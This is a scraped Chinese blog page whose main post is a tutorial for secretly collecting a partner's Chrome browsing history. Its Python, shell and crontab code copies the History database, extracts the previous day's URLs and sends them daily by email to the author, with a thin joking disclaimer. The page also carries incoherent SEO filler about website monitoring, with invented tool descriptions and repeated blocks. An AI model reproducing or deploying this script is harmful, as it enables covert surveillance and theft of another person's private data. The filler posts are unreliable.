last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去;
筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时
间小于1天的数据
4.crontab出错
答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!
5.路径问题
答:大家在复现的时候,要注意把路径改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。
总结:
1.运用python连接SQLite数据库,并执行sql操作
2.运用python发送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强
展望:
1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台
2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!
其实我也没找到什么秘密
<p style="margin-right: 16px;margin-left: 16px;outline: 0px;font-family: -apple-system, system-ui, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.75em;">---END---</p>
<p style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;text-align: center;">
更文不易,点个“在看”支持一下</p>
如何监控内容更新时间,一定有哪些可以实现呢?
网站优化 • 优采云 发表了文章 • 0 个评论 • 116 次浏览 • 2022-05-25 07:02
网站内容更新监控应用,尤其是文本搜索内容监控,被微信抢先的导入朋友圈的场景下出现的。如何监控内容更新时间,一定有哪些可以实现。马云也没有让别人做成就是告诉你这不就是给你的做法嘛。有个办法大家应该都知道。来来来,我来给你说说。一个网站一定是有内容要定制化要更新的,而收集来做推荐很容易走入循环,每一条动态都会推送给所有人看。
做内容搜索又是个长期的过程,从一条内容到上亿条,等每一条动态都推送的完全相似的时候,这种整个推荐算法肯定是会有bug的。所以,理想的内容搜索算法应该是会考虑到动态,时间,内容相似度的算法,而不是一味的单纯靠推荐。可以这么说,是内容的好看程度决定了算法的好坏。例如说我有一个网站,我还是有必要找到我推荐来的内容从动态中怎么的更新。
大家可以想象一下,只要是没有好看的内容,我根本不会去关注我推荐来的内容是怎么样更新的。但我关注的是推荐动态,我就会加以利用,就会自动更新。这就是网站内容更新监控的理想场景。而之前有部手机软件能实现这个就是搜网络,你搜的时候会跳到很多热门动态,关键词,这就是你的内容推荐了。为什么我不让你让你们去使用前置这个热门推荐,而是应该用点击推荐呢。
这是因为用户喜欢啊,点击出来都有感觉啊,你不去点,我又怎么会去点这个热门的推荐呢。前置也不是点击推荐的附属品,最核心的一点是要推荐出去的内容还要是你喜欢的内容。而这个才是真的好内容,如果是你不喜欢的内容,你把它推荐出去有什么用呢。百度搜索结果中的左边也有相关结果,就是你要想推荐给你喜欢的人看,就是这个原理。
还有,百度中有个百度广告,它的动态我也不知道是怎么来的,大家有知道的就告诉我一下。如果百度广告你觉得可以不给它,一个页面上最多就是4个。我可以告诉你,只要你做网站,网站每天被动爬虫爬取5000条甚至更多,一个页面上最多是4个不给你用百度推荐你就肯定找不到,所以百度广告还是不能不用。别问我为什么不用开户试试,因为我赚钱也要遵循基本法。
一个页面1000个广告,你觉得想点都没地方点,你觉得想看都没地方看。所以要搞一个收入刚好平衡。如果我们网站做的够好,那肯定是有经济效益可讲,肯定是有必要做内容更新监控这个工具的。大家想想,是一家人一起在一起做事容易一些,还是两个人在一起一起做事容易一些。我作为一个平台,首先应该关注的是对用户好用,对用户喜欢,对用户心动的事情。不管你是不是一个团队,但你是网站,我们当然要关注于为用户服务。说到服务人员,我说个俗气的话。你在做这。 查看全部
如何监控内容更新时间,一定有哪些可以实现呢?
网站内容更新监控应用,尤其是文本搜索内容监控,被微信抢先的导入朋友圈的场景下出现的。如何监控内容更新时间,一定有哪些可以实现。马云也没有让别人做成就是告诉你这不就是给你的做法嘛。有个办法大家应该都知道。来来来,我来给你说说。一个网站一定是有内容要定制化要更新的,而收集来做推荐很容易走入循环,每一条动态都会推送给所有人看。
做内容搜索又是个长期的过程,从一条内容到上亿条,等每一条动态都推送的完全相似的时候,这种整个推荐算法肯定是会有bug的。所以,理想的内容搜索算法应该是会考虑到动态,时间,内容相似度的算法,而不是一味的单纯靠推荐。可以这么说,是内容的好看程度决定了算法的好坏。例如说我有一个网站,我还是有必要找到我推荐来的内容从动态中怎么的更新。
大家可以想象一下,只要是没有好看的内容,我根本不会去关注我推荐来的内容是怎么样更新的。但我关注的是推荐动态,我就会加以利用,就会自动更新。这就是网站内容更新监控的理想场景。而之前有部手机软件能实现这个就是搜网络,你搜的时候会跳到很多热门动态,关键词,这就是你的内容推荐了。为什么我不让你让你们去使用前置这个热门推荐,而是应该用点击推荐呢。
这是因为用户喜欢啊,点击出来都有感觉啊,你不去点,我又怎么会去点这个热门的推荐呢。前置也不是点击推荐的附属品,最核心的一点是要推荐出去的内容还要是你喜欢的内容。而这个才是真的好内容,如果是你不喜欢的内容,你把它推荐出去有什么用呢。百度搜索结果中的左边也有相关结果,就是你要想推荐给你喜欢的人看,就是这个原理。
还有,百度中有个百度广告,它的动态我也不知道是怎么来的,大家有知道的就告诉我一下。如果百度广告你觉得可以不给它,一个页面上最多就是4个。我可以告诉你,只要你做网站,网站每天被动爬虫爬取5000条甚至更多,一个页面上最多是4个不给你用百度推荐你就肯定找不到,所以百度广告还是不能不用。别问我为什么不用开户试试,因为我赚钱也要遵循基本法。
一个页面1000个广告,你觉得想点都没地方点,你觉得想看都没地方看。所以要搞一个收入刚好平衡。如果我们网站做的够好,那肯定是有经济效益可讲,肯定是有必要做内容更新监控这个工具的。大家想想,是一家人一起在一起做事容易一些,还是两个人在一起一起做事容易一些。我作为一个平台,首先应该关注的是对用户好用,对用户喜欢,对用户心动的事情。不管你是不是一个团队,但你是网站,我们当然要关注于为用户服务。说到服务人员,我说个俗气的话。你在做这。
盘点网站内容更新监控常用的开源平台,你知道吗?
网站优化 • 优采云 发表了文章 • 0 个评论 • 340 次浏览 • 2022-05-23 04:02
网站内容更新监控是一个老生常谈的问题,很多网站运营会不定期的对网站进行更新维护,不仅能够提高网站自身的存在感,也为了网站能够保持良好的上线和发展;不过从目前的趋势来看,网站内容更新监控还没有一个快速、全面的方法,尤其是目前的网站全部都使用统一的监控系统,导致网站的发展的成本增加了不少,如何能够实现全面高效的网站内容更新监控,那这就需要我们和自动化工具厂商进行深度合作,从理论落实到实际,让工具真正做到服务实体网站、服务于企业发展。
不过相比于php写的系统而言,开源优势大大的有,不仅支持更多工具的实现,从而更加的简单实用,在分析互联网及企业发展方面也相当有用,下面就来盘点一下网站内容更新监控常用的开源平台,希望对大家有所帮助:drupalforphp:官方首选,是一个功能齐全的php项目。可为用户提供具有一致性和可拓展性的php应用程序所需的各种功能。
这包括模板文件、报名、账户管理、集成wordpress、在线版本控制(orm)、查看公用存储库、编辑/共享/列表等。cucumber:可视化:angularjs,响应式:采用了inlinemode方案,能够支持响应式开发。使用超文本标记语言(html)以及javascript进行动态表单交互,从而提高web应用程序的实用性和易用性。
oa系统:首选开源管理系统。依托gorgeous的实用化管理功能,包括地图定位、业务业务对象树、设置权限、代码审计、集成内容管理、erp实施、产品和服务管理、采购、招聘等功能,支持采购订单跟踪、招聘人员管理、会计记账以及财务审计等。企业官网:致力于用户价值体现、服务企业品牌。支持页面添加企业图标以及企业简介,从而更加丰富的传递企业品牌的形象和内容。
dblink:caption+时间点:最新移动电话会议;用户规模化:eloquentlanguage技术dblink是angularjs引擎开发的在线时间点协同工具。因为可以从订单、销售、物流、生产、客户等方面协同审计所有业务数据。并且可以通过它进行技术对接及项目管理。datalog:web标记语言web标记语言是一种新的标记语言,可以用来生成诸如人名、书名、日期、电子邮件地址等通用标记,这些标记可以分组出不同的标签,以实现不同层级的标记化,可以优化web界面的结构,变得更加精致。
可以在web上直接编写分享式标记。genesask:一种用户代理,能够处理日志以及日志事件和命令作业列表上的联系,形成数据和应用代理或数据服务器,不要迷恋于任何数据库模式,因为在现在的情况下,我们需要首先定义一个合适的datalog模式(哪些库更好),设置适当的访问。 查看全部
盘点网站内容更新监控常用的开源平台,你知道吗?
网站内容更新监控是一个老生常谈的问题,很多网站运营会不定期的对网站进行更新维护,不仅能够提高网站自身的存在感,也为了网站能够保持良好的上线和发展;不过从目前的趋势来看,网站内容更新监控还没有一个快速、全面的方法,尤其是目前的网站全部都使用统一的监控系统,导致网站的发展的成本增加了不少,如何能够实现全面高效的网站内容更新监控,那这就需要我们和自动化工具厂商进行深度合作,从理论落实到实际,让工具真正做到服务实体网站、服务于企业发展。
不过相比于php写的系统而言,开源优势大大的有,不仅支持更多工具的实现,从而更加的简单实用,在分析互联网及企业发展方面也相当有用,下面就来盘点一下网站内容更新监控常用的开源平台,希望对大家有所帮助:drupalforphp:官方首选,是一个功能齐全的php项目。可为用户提供具有一致性和可拓展性的php应用程序所需的各种功能。
这包括模板文件、报名、账户管理、集成wordpress、在线版本控制(orm)、查看公用存储库、编辑/共享/列表等。cucumber:可视化:angularjs,响应式:采用了inlinemode方案,能够支持响应式开发。使用超文本标记语言(html)以及javascript进行动态表单交互,从而提高web应用程序的实用性和易用性。
oa系统:首选开源管理系统。依托gorgeous的实用化管理功能,包括地图定位、业务业务对象树、设置权限、代码审计、集成内容管理、erp实施、产品和服务管理、采购、招聘等功能,支持采购订单跟踪、招聘人员管理、会计记账以及财务审计等。企业官网:致力于用户价值体现、服务企业品牌。支持页面添加企业图标以及企业简介,从而更加丰富的传递企业品牌的形象和内容。
dblink:caption+时间点:最新移动电话会议;用户规模化:eloquentlanguage技术dblink是angularjs引擎开发的在线时间点协同工具。因为可以从订单、销售、物流、生产、客户等方面协同审计所有业务数据。并且可以通过它进行技术对接及项目管理。datalog:web标记语言web标记语言是一种新的标记语言,可以用来生成诸如人名、书名、日期、电子邮件地址等通用标记,这些标记可以分组出不同的标签,以实现不同层级的标记化,可以优化web界面的结构,变得更加精致。
可以在web上直接编写分享式标记。genesask:一种用户代理,能够处理日志以及日志事件和命令作业列表上的联系,形成数据和应用代理或数据服务器,不要迷恋于任何数据库模式,因为在现在的情况下,我们需要首先定义一个合适的datalog模式(哪些库更好),设置适当的访问。
用 Python 监控了女朋友每天都在看的网站,我发现了一个秘密
网站优化 • 优采云 发表了文章 • 0 个评论 • 156 次浏览 • 2022-05-20 21:49
阅读文本大概需要 5 分钟。
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
背景:
(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?
答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History
History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite
去查看所有的信息,我们要的信息在urls表中
怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息
(2)怎么发送一个带附件的邮件?
答:使用python内置的email和smtplib两个模块去构造和发送邮件
(3)怎么把这些过程自动化?
答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行
准备
macOS Sierra
Python3.6
Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 :
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-<br />from email import encoders<br />from email.header import Header<br />from email.mime.text import MIMEText<br />from email.mime.multipart import MIMEMultipart<br />from email.mime.base import MIMEBase<br />from email.utils import parseaddr, formataddr<br />import smtplib<br />import argparse<br /><br /># 1.文件执行的需要的参数(result.txt)<br />parser = argparse.ArgumentParser()<br />parser.add_argument('affix_file',help='the path of the affix')<br />args = parser.parse_args()<br /><br /><br /># 2.格式化一个邮件地址和邮件信息<br />def _format_addr(s):<br /> name, addr = parseaddr(s)<br /> return formataddr((Header(name, 'utf-8').encode(), addr))<br /><br />#连接服务器(这里大家好改成自己的!)<br />from_addr = "771568102@qq.com" #发件人邮箱<br />password = "xxxxxxxx" #发件人邮箱授权码<br />to_addr = "2160802033@cnu.edu.cn" #收件人邮箱<br />smtp_server = "smtp.qq.com" #SMTP服务器地址<br /><br />#邮件发件人名字、收件人名字、主题<br />msg = MIMEMultipart()<br />msg['From'] = _format_addr('风一样的女子 ' % from_addr)<br />msg['To'] = _format_addr('风一样的男子 ' % to_addr)<br />msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()<br /><br /># 邮件正文是MIMEText:<br />msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))<br /><br /># 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:<br />with open(args.affix_file, 'r') as f:<br /> # 设置附件的MIME和文件名,这里是py类型:<br /> mime = MIMEBase('result', 'txt', filename='result.txt')<br /> # 加上必要的头信息:<br /> mime.add_header('Content-Disposition', 'attachment', filename='result.txt')<br /> mime.add_header('Content-ID', '')<br /> mime.add_header('X-Attachment-Id', '0')<br /> # 把附件的内容读进来:<br /> mime.set_payload(f.read())<br /> # 用Base64编码:<br /> encoders.encode_base64(mime)<br /> # 添加到MIMEMultipart:<br /> msg.attach(mime)<br /><br />#3.通过SMTP发送出去<br />server = smtplib.SMTP(smtp_server, 25)<br />server.set_debuglevel(1)<br />server.login(from_addr, password)<br />server.sendmail(from_addr, [to_addr], msg.as_string())<br />server.quit()
通过这个脚本,我们可以把url和访问时间提取出来,并且存储在result.txt中,下图就是我得到的部分结果
(3) send_email.py:
# -*- coding: utf-8 -*-<br />import sqlite3<br /><br />#大家要改成自己的路径<br />history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'<br /><br /># 1.连接history_db<br />c = sqlite3.connect(history_db)<br />cursor = c.cursor()<br /><br /><br /># 2.选取我们想要的网址和访问时间<br />try:<br /> select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"<br /> cursor.execute(select_statement)<br />except sqlite3.OperationalError:<br /> print("[!] The database is locked! Please exit Chrome and run the script again.")<br /> quit()<br /><br /># 3.将网址和访问时间存入result.txt文件<br />results = cursor.fetchall()<br />with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径<br /> for i in range(len(results)):<br /> f.write(results[i][1]+'\n')<br /> f.write(results[i][0]+'\n')
通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
<p style="margin-right: 16px;margin-bottom: 20px;margin-left: 16px;line-height: 1.75em;">20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh</p>
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!!
问题:
1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码
答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心
2.访问History数据库时,显示The database is locked!
答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History
3.timestamp时间戳怎么转换的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去;
筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时
间小于1天的数据
4.crontab出错
答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!
5.路径问题
答:大家在复现的时候,要注意把路径改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。
总结:
1.运用python连接SQLite数据库,并执行sql操作
2.运用python发送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强
展望:
1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台
2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!
其实我也没找到什么秘密
项目:回复“Python”,再领取一份算法面试宝典
大家好 我是Gao, 学习者可加我微信,获取更多项目源码。
END
开发者技术前线 ,汇集技术前线快讯和关注行业趋势,大厂干货,是开发者经历和成长的优秀指南。
历史推荐
好文点个在看吧!
查看全部
用 Python 监控了女朋友每天都在看的网站,我发现了一个秘密
阅读文本大概需要 5 分钟。
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
背景:
(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?
答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History
History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite
去查看所有的信息,我们要的信息在urls表中
怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息
(2)怎么发送一个带附件的邮件?
答:使用python内置的email和smtplib两个模块去构造和发送邮件
(3)怎么把这些过程自动化?
答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行
准备
macOS Sierra
Python3.6
Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 :
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-<br />from email import encoders<br />from email.header import Header<br />from email.mime.text import MIMEText<br />from email.mime.multipart import MIMEMultipart<br />from email.mime.base import MIMEBase<br />from email.utils import parseaddr, formataddr<br />import smtplib<br />import argparse<br /><br /># 1.文件执行的需要的参数(result.txt)<br />parser = argparse.ArgumentParser()<br />parser.add_argument('affix_file',help='the path of the affix')<br />args = parser.parse_args()<br /><br /><br /># 2.格式化一个邮件地址和邮件信息<br />def _format_addr(s):<br /> name, addr = parseaddr(s)<br /> return formataddr((Header(name, 'utf-8').encode(), addr))<br /><br />#连接服务器(这里大家好改成自己的!)<br />from_addr = "771568102@qq.com" #发件人邮箱<br />password = "xxxxxxxx" #发件人邮箱授权码<br />to_addr = "2160802033@cnu.edu.cn" #收件人邮箱<br />smtp_server = "smtp.qq.com" #SMTP服务器地址<br /><br />#邮件发件人名字、收件人名字、主题<br />msg = MIMEMultipart()<br />msg['From'] = _format_addr('风一样的女子 ' % from_addr)<br />msg['To'] = _format_addr('风一样的男子 ' % to_addr)<br />msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()<br /><br /># 邮件正文是MIMEText:<br />msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))<br /><br /># 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:<br />with open(args.affix_file, 'r') as f:<br /> # 设置附件的MIME和文件名,这里是py类型:<br /> mime = MIMEBase('result', 'txt', filename='result.txt')<br /> # 加上必要的头信息:<br /> mime.add_header('Content-Disposition', 'attachment', filename='result.txt')<br /> mime.add_header('Content-ID', '')<br /> mime.add_header('X-Attachment-Id', '0')<br /> # 把附件的内容读进来:<br /> mime.set_payload(f.read())<br /> # 用Base64编码:<br /> encoders.encode_base64(mime)<br /> # 添加到MIMEMultipart:<br /> msg.attach(mime)<br /><br />#3.通过SMTP发送出去<br />server = smtplib.SMTP(smtp_server, 25)<br />server.set_debuglevel(1)<br />server.login(from_addr, password)<br />server.sendmail(from_addr, [to_addr], msg.as_string())<br />server.quit()
通过这个脚本,我们可以把url和访问时间提取出来,并且存储在result.txt中,下图就是我得到的部分结果
(3) send_email.py:
# -*- coding: utf-8 -*-<br />import sqlite3<br /><br />#大家要改成自己的路径<br />history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'<br /><br /># 1.连接history_db<br />c = sqlite3.connect(history_db)<br />cursor = c.cursor()<br /><br /><br /># 2.选取我们想要的网址和访问时间<br />try:<br /> select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"<br /> cursor.execute(select_statement)<br />except sqlite3.OperationalError:<br /> print("[!] The database is locked! Please exit Chrome and run the script again.")<br /> quit()<br /><br /># 3.将网址和访问时间存入result.txt文件<br />results = cursor.fetchall()<br />with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径<br /> for i in range(len(results)):<br /> f.write(results[i][1]+'\n')<br /> f.write(results[i][0]+'\n')
通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
<p style="margin-right: 16px;margin-bottom: 20px;margin-left: 16px;line-height: 1.75em;">20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh</p>
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!!
问题:
1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码
答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心
2.访问History数据库时,显示The database is locked!
答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History
3.timestamp时间戳怎么转换的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去;
筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时
间小于1天的数据
4.crontab出错
答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!
5.路径问题
答:大家在复现的时候,要注意把路径改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。
总结:
1.运用python连接SQLite数据库,并执行sql操作
2.运用python发送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强
展望:
1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台
2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!
其实我也没找到什么秘密
项目:回复“Python”,再领取一份算法面试宝典
大家好 我是Gao, 学习者可加我微信,获取更多项目源码。
END
开发者技术前线 ,汇集技术前线快讯和关注行业趋势,大厂干货,是开发者经历和成长的优秀指南。
历史推荐
好文点个在看吧!
网站内容更新监控是谷歌站长工具非常好用的一项功能
网站优化 • 优采云 发表了文章 • 0 个评论 • 99 次浏览 • 2022-05-16 12:04
网站内容更新监控是谷歌站长工具非常好用的一项功能,一定是非常好用。很多站长都希望去监控这些新文章。那么怎么进行监控呢?谷歌站长工具有哪些呢?下面这些是非常好用的站长工具,可以去看看。
百度站长平台的站长工具包括新老内容监控、站内关键词监控、seo热点监控、ip、域名、网站点击以及谷歌adwords的监控、站内收录等等
国内做b2b站长站群,很多站长都采用埋站方式,这个时候就会使用到谷歌站长工具箱,点击就可以进入站长工具箱。很多站长对于谷歌站长工具箱不熟悉,不能很好的使用googleadwords这个工具提高站长站群站的收录排名。谷歌站长工具箱其实可以根据站长自己的需求,自定义监控googleadwords。如果在日常站长站群站等等工作中,需要一些谷歌adwords的数据监控,那么你可以将自己的站点可视化,通过谷歌adwords监控,从数据角度分析adwords的情况。
一般国内站长用的比较多的就是谷歌adwords监控,googleadwords监控。1、手机端adwords选取最新的内容时间段收集,以便通过adwords,做对应产品的测试,以便找到可以adwords合适的时间段。2、pc端现在谷歌对于谷歌自己的pc端adwords没有收录规则,所以可以采用自己收集数据,用自己的时间段监控。推荐一款谷歌站长工具箱,人人都是站长。人人都是站长,让站长用得放心。 查看全部
网站内容更新监控是谷歌站长工具非常好用的一项功能
网站内容更新监控是谷歌站长工具非常好用的一项功能,一定是非常好用。很多站长都希望去监控这些新文章。那么怎么进行监控呢?谷歌站长工具有哪些呢?下面这些是非常好用的站长工具,可以去看看。
百度站长平台的站长工具包括新老内容监控、站内关键词监控、seo热点监控、ip、域名、网站点击以及谷歌adwords的监控、站内收录等等
国内做b2b站长站群,很多站长都采用埋站方式,这个时候就会使用到谷歌站长工具箱,点击就可以进入站长工具箱。很多站长对于谷歌站长工具箱不熟悉,不能很好的使用googleadwords这个工具提高站长站群站的收录排名。谷歌站长工具箱其实可以根据站长自己的需求,自定义监控googleadwords。如果在日常站长站群站等等工作中,需要一些谷歌adwords的数据监控,那么你可以将自己的站点可视化,通过谷歌adwords监控,从数据角度分析adwords的情况。
一般国内站长用的比较多的就是谷歌adwords监控,googleadwords监控。1、手机端adwords选取最新的内容时间段收集,以便通过adwords,做对应产品的测试,以便找到可以adwords合适的时间段。2、pc端现在谷歌对于谷歌自己的pc端adwords没有收录规则,所以可以采用自己收集数据,用自己的时间段监控。推荐一款谷歌站长工具箱,人人都是站长。人人都是站长,让站长用得放心。
如何实时监控一个网站的更新 | 以报名北京律协现场培训为例
网站优化 • 优采云 发表了文章 • 0 个评论 • 99 次浏览 • 2022-05-11 06:46
工具:Chrome插件Distill
功能:实时监控网站内容更新变化并及时提醒
地址:
有时我们对某个网站内容更新的及时性要求非常高,举例来说,北京律协时常会在雁栖湖基地办理集中培训,培训内容贴近实务,不仅免费而且管吃管住车接车送,基地风景也很漂亮,因此特别受欢迎,往往培训通知发出后半小时左右就会报满,如果不是第一时间看到一般是报不进去的,但守着网页刷新也不现实。
北京律协培训通知地址:
我们需要一个机器帮我们实时盯着这个网页的变化,并及时通知我们。
我尝试了市面上几种相关的软件或插件,比较下来,Distill能满足实时监控网页变化并及时提醒的功能,简要实现步骤如下:
1、在Chrome中安装Distill插件
2、在Chrome中打开拟监控的网站,点击Distill图标,然后在左侧“添加Monitor”栏目选择监控整个页面
3、上一步选择“监控整个页面”后会进入Watchlist设置页面,做简单设置即可
可以视需要设置网页刷新时间,然后保存
设置好后,如果网站有内容更新,Distill就会在Chrome中提示,并且播放提示音,当然了,这需要Chrome始终处于打开状态,Distill在本地运行,好在律协通知也是在工作时间发,跟我们日常工作是不冲突;
付费版可以实现在服务器中运行,并且可以发送电子邮件和短信,是否付费就看个人需求了。
更多高效办公工具,请见:
查看全部
如何实时监控一个网站的更新 | 以报名北京律协现场培训为例
工具:Chrome插件Distill
功能:实时监控网站内容更新变化并及时提醒
地址:
有时我们对某个网站内容更新的及时性要求非常高,举例来说,北京律协时常会在雁栖湖基地办理集中培训,培训内容贴近实务,不仅免费而且管吃管住车接车送,基地风景也很漂亮,因此特别受欢迎,往往培训通知发出后半小时左右就会报满,如果不是第一时间看到一般是报不进去的,但守着网页刷新也不现实。
北京律协培训通知地址:
我们需要一个机器帮我们实时盯着这个网页的变化,并及时通知我们。
我尝试了市面上几种相关的软件或插件,比较下来,Distill能满足实时监控网页变化并及时提醒的功能,简要实现步骤如下:
1、在Chrome中安装Distill插件
2、在Chrome中打开拟监控的网站,点击Distill图标,然后在左侧“添加Monitor”栏目选择监控整个页面
3、上一步选择“监控整个页面”后会进入Watchlist设置页面,做简单设置即可
可以视需要设置网页刷新时间,然后保存
设置好后,如果网站有内容更新,Distill就会在Chrome中提示,并且播放提示音,当然了,这需要Chrome始终处于打开状态,Distill在本地运行,好在律协通知也是在工作时间发,跟我们日常工作是不冲突;
付费版可以实现在服务器中运行,并且可以发送电子邮件和短信,是否付费就看个人需求了。
更多高效办公工具,请见:
网站内容多方面增加资讯的伪原创就不要发布了
网站优化 • 优采云 发表了文章 • 0 个评论 • 94 次浏览 • 2022-05-10 20:01
网站内容更新监控每天定量更新内容,例如自己原创的文章、知识型文章,而且不可以是其他相关媒体的原创文章,包括其他的自媒体平台或内容。如果外链需要接入到平台去。网站中内容的审核将会更加的严格,无法为个人进行伪原创的伪原创就不要进行发布了。关于外链,即便你通过其他平台发布一些内容也不能变相的为网站获取外链。
网站内容多方面增加资讯的内容多为资讯的原创内容,不得为其他网站发布而引用,只可自行增加个人资讯特色来进行自媒体平台的宣传推广。
